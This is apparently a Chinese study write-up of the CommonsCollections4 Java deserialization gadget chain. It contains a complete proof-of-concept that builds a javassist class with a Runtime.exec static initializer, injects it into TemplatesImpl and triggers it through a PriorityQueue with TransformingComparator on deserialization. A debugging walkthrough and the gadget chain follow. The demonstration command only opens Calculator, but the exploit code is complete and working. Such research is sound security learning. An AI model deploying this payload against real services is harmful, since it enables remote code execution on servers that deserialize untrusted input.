CommonsCollection4反序列化链学习

CommonsCollection4

1、前置知识

由于cc4没有新的知识点，主要是用cc2，然后稍微cc3结合了，所以我们可以看ysoserial源码，自己尝试构造一下，把cc2通过获取InvokeTransformer()获取templatesImpl的newtransformer()方法，改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的代码学习下。

1.1、transformingComparator

与cc2最大的不容就是transformingComparator的构造方式不同，这里是通过获取InstantiateTransformer实例化TrAXFilter并且把templatesImpl恶意类传入，其实就是InstantiateTransformer(templateImpl).transform(TrAXFilter)。而且这就是cc3所用的方式，所以cc3在cc4占很少的部分，主要还是cc2

Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl，调用其transform方法，实例化传入的TrAXFilter，调用其构造方法。再调用newTransform

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类，传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

2、PoC分析

2.1、Poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection4 {


    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化，设置构造函数主体为runtime

        //payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
        byte[] bytes=payload.toBytecode();//转换为byte数组
        //String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

/*        Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
        getTransletName.setAccessible(true);
        Object name = getTransletName.invoke(templatesImpl, new Object[]{});
        System.out.println(name.toString());

        Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
        getTransletBytecodes.setAccessible(true);
        byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
        for (int i = 0; i < bytes1.length; i++) {
            System.out.println(bytes1.length);
            System.out.println(Arrays.toString(bytes1[i]));
        }*/

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl，调用其transform方法，实例化传入的TrAXFilter，调用其构造方法。再调用newTransform

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类，传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
        priorityQueue.add(1);//添加数字1插入此优先级队列
        priorityQueue.add(1);//添加数字1插入此优先级队列

        Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(priorityQueue,transformingComparator);//设置priorityQueue的comparator属性值为transformingComparator

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        outputStream.writeObject(priorityQueue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
        inputStream.readObject();




    }
}

2.2、poc调试

在PriorityQueue的readObject打断点，发现队列内就是两个数字，进入heapify()

因为在poc中我们没对queue字段赋值，所以queue里面就是两个数字，继续跟入siteDown()

发现x就是queue为空，与cc2此时的x为templatImpl，继续进入siftDownUsingComparator

进入发现，通过comparator.compare(),这个comparator就是我们的恶意TransformingComparator

进入发现TransformingComparator的compare方法里，用this.transformer调用了transform方法，此时的this.transformer是我们传入的ChainedTransformer，链式调用transform

进入后看到第一个是ConstantTransformer，继续跟进transform方法

返回我们一开始构造的TrAXFilter.class

第二遍是进入InstantiateTransformer ，object为我们上次循环获取TrAXFilter.class.继续跟进transform()

这个transform就是实例化传入的object既TrAXFilter，而且传入的参数值为我们一起开始创建的恶意加载字节类TransformerImpl

进入TrAXFilter的构造方法，传入的TransformerImpl被赋值给了templates，templates调用newTransformer方法，继续跟进

TransformerImpl的newTransformer方法，会调用本类的getTransletInstance方法，继续跟进

发现会继续调用defineTransletClasses()，继续跟进

进入defineTransletClasses方法后发现，会把我们前面构造的_bytecodes[i]传输给_class[i],饭后返回到getTransletInstance方法

然后在getTransletInstance方法后，实例化我们传入的_class[i]恶意类》CommonsCollection2Test.

实例化就会调用我们一开始设置的静态代码块，造成RCE

2.3、利用链

Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
        PriorityQueue.heapify()
          PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
              ...
                TransformingComparator.compare()
                  InstantiateTransformer.transform()
                    Method.invoke()
                      Runtime.exec()

2.4、思维导图

2.5、结束

cc4链还是比较简单，我继续每一步调试的原因就是可以更好的复习前面学习的链，我cc2和cc4用的是commonscollection4依赖版本才成功，cc1、cc3和cc5是用的jdk8u66才成功的